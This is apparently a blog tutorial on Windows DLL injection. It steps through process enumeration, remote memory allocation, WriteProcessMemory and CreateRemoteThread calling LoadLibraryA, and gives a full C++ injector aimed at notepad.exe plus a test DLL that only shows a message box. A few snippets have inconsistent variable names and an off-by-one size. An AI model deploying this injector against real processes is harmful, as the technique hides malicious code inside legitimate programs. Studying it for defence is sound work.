DLL injection consists on injecting a DLL within a memory page inside the virtual address space of a target process, before invoking a thread that calls LoadLibraryA from kernel32.dll to load that DLL.

Overview

DLL injection consists on injecting a DLL within a memory region inside the virtual address space of a target process, before invoking a thread that calls LoadLibraryA from kernel32.dll to load that DLL. This process injection techniques involves:

  • Toolhelp32: To enumerate running processes within a read-only snapshot and search for a process by its name.
  • OpenProcess: To get a handle on a specific running process with necessary access rights.
  • VirtualAllocEx: To allocate a memory region within the virtual address space of the target process using its handle.
  • WriteProcessMemory: To copy the DLL path inside the allocated memory space.
  • GetProcAddress: To retrieve the LoadLibraryA address from kernel32.dll module.
  • CreateRemoteThread: To create a thread within the remote target process that will execute the LoadLibraryA loading the specified DLL.

Explanation

For the DLL file, After that, we add a MessageBox inside DLL_PROCESS_ATTACH, so that it will be called when the generated DLL file is loaded by the calling process

Full DLL code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "DLL Injection", "DLL injection is successful", NULL);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Once our DLL file is created, we begin by creating a read-only snapshot of all the system running processes using CreateToolhelp32Snapshot

1
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
  • TH32CS_SNAPPROCESS: To include all running processes inside the snapshot
  • NULL: To indicate the current process

Now, we enumerate the running processes within the snapshot with Process32First and Process32Next in order to find the process that matches a specific process name and return a handle on it

Bu before using these 2 functions, we have to create a PROCESSENTRY32 instance that will store all process information and set its dwSize to the size of the structure in bytes

1
2
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
1
if (Process32First(snapshot, &pe32))
  • snapshot: The current read-only snapshot we took of the running process in the system
  • &pe32: A pointer to a PROCESSENTRY32 structure that will contain the process information such as the name of the executable file, the process identifier, and the process identifier of the parent process

And the same syntax will be applied in Process32Next.

We then use that pe32 pointer to check for a match between the name of the executable file for the process szExeFile and the wstring of the target process name in our case

1
if (pe32.szExeFile == ProcessName)

If there’s a match, we will open a handle to the remote target process using OpenProcess

1
2
3
HANDLE hprocess=nullptr;
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
  • PROCESS_ALL_ACCESS: To specify the access rights we want to have on the process
  • FALSE: As we don’t want the child processes of this process to inherit this handle
  • pe32.th32ProcessID: To specify the pid of the target process that matched our target process name previously

We then close the handle to the read-only snapshot and return the handle to the target process

1
2
CloseHandle(snapshot);
return hprocess;

Having a handle to the process, we allocate a memory region within the virtual address space of the remote target process using VirtualAllocEx

1
LPVOID sc = VirtualAllocEx(hprocess, NULL, sizeof(DLLPath)+1, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
  • hprocess: Handle to the target process
  • NULL: As we do not have any specific starting address to specify for the allocation of the memory region, so we put it to NULL to let the function determine where to allocate the region
  • sizeof(DLLPath): To specify the size of the path to the DLL we will inject into memory
  • MEM_COMMIT|MEM_RESERVE: To reserve and commit pages in one step
  • PAGE_READWRITE: As we only need these rights to write the DLL path into the newly allocated memory region

Now, we copy the DLL path into the allocated memory region using WriteProcessMemory

1
WriteProcessMemory(hprocess, sc, DLL_path, sizeof(DLLPath)+1, NULL)
  • hprocess: Handle to the target process that we want to modify
  • sc: A pointer to the base address of the process we want to start writing from
  • DLLPath: A pointer to the buffer that contains the data to be written to the allocated memory region
  • strlen(DLL_path)+1: Size of the DLL path taking into account the null terminator byte
  • NULL: As we do not need to number of bytes written

We then get a handle to kernel32.dll using GetModuleHandleA

1
HMODULE hkernel32 = GetModuleHandleA("kernel32.dll");
  • kernel32.dll: The loaded module

We will use GetProcAddress to return the address of the LoadLibraryA function from kernel32.dll

1
FARPROC loadlibAddr = GetProcAddress(hkernel32, "LoadLibraryA");
  • hkernel32: The handle to to kernel32.dll from which we will load the desired procedures
  • LoadLibraryA: function that will load the specified DLL as a module within the target process

Next, we create a remote thread that starts execution at the start address of LoadLibraryA to load our DLL file

1
2
DWORD TID;
hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibAddr, sc, 0, &TID);
  • hprocess: Handle to the target process
  • NULL: To get the default security descriptors for the thread and make it non-inheritable
  • 0: To use the default size for the executable
  • (LPTHREAD_START_ROUTINE)loadlibAddr: To start execution at the starting address of LoadLibraryA
  • sc: The parameter of LoadLibraryA function with the pointer to the DLL path
  • 0: To make the thread run immediately after creation
  • &TID: Pointer to the variable that receives the thread identifier

Demonstration

We execute our DLL injector and get the following output

This screenshot below shows that the thread with Thread ID 8852 calls kernel32.dll to execute LoadLibraryA which loads our DLL file.

We can see that the DLL was correctly loaded within the target process’s modules

Full code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
using namespace std;
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

HANDLE SearchProcessByName(wstring& processName) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE hprocess = nullptr;

if (snapshot != INVALID_HANDLE_VALUE) {
if (Process32First(snapshot, &pe32)) {
do
{
if (processName == pe32.szExeFile) {
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}

} while (Process32Next(snapshot, &pe32));
}

}
CloseHandle(snapshot);
return hprocess;
}

int main(int argc, char* argv[])
{
// Add the Path to the DLL in that variable
char DLLPath[] = "";
cout << "[*] DLLPath: " << DLLPath << endl;

wstring pName = L"notepad.exe";
HANDLE hprocess = SearchProcessByName(pName);
HANDLE hthread = nullptr;
DWORD TID;

if (hprocess) {
wcout << L"[+] Obtained a handle " << hprocess << L" to process " << pName << endl;
}
LPVOID sc = VirtualAllocEx(hprocess, NULL, sizeof(DLLPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (sc == NULL) {
cout << "[-] Could not allocate a memory region, error: " << GetLastError() << endl;
}
cout << "[+] Allocated a memory region: " << sc << endl;
if (WriteProcessMemory(hprocess, sc, DLLPath, sizeof(DLLPath) + 1, NULL)) {

HMODULE hkernel32 = GetModuleHandleA("kernel32.dll");
FARPROC loadlibAddr = GetProcAddress(hkernel32, "LoadLibraryA");
if (loadlibAddr == NULL) {
cout << "[-] Could not retrieve the LoadLibraryA address, error: " << GetLastError() << endl;
}
cout << "[+] Retrieved LoadLibraryA address: " << loadlibAddr << endl;
; hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibAddr, sc, 0, &TID);

if (hthread == NULL) {
cout << "[-] Failed to create a thread, error: " << GetLastError() << endl;
}
cout << "[+] Created a thread of ID " << TID << endl;
WaitForSingleObject(hthread, INFINITE);
CloseHandle(hthread);
CloseHandle(hprocess);
cout << "[+] DLL injected successfully" << std::endl;

}
return 0;
}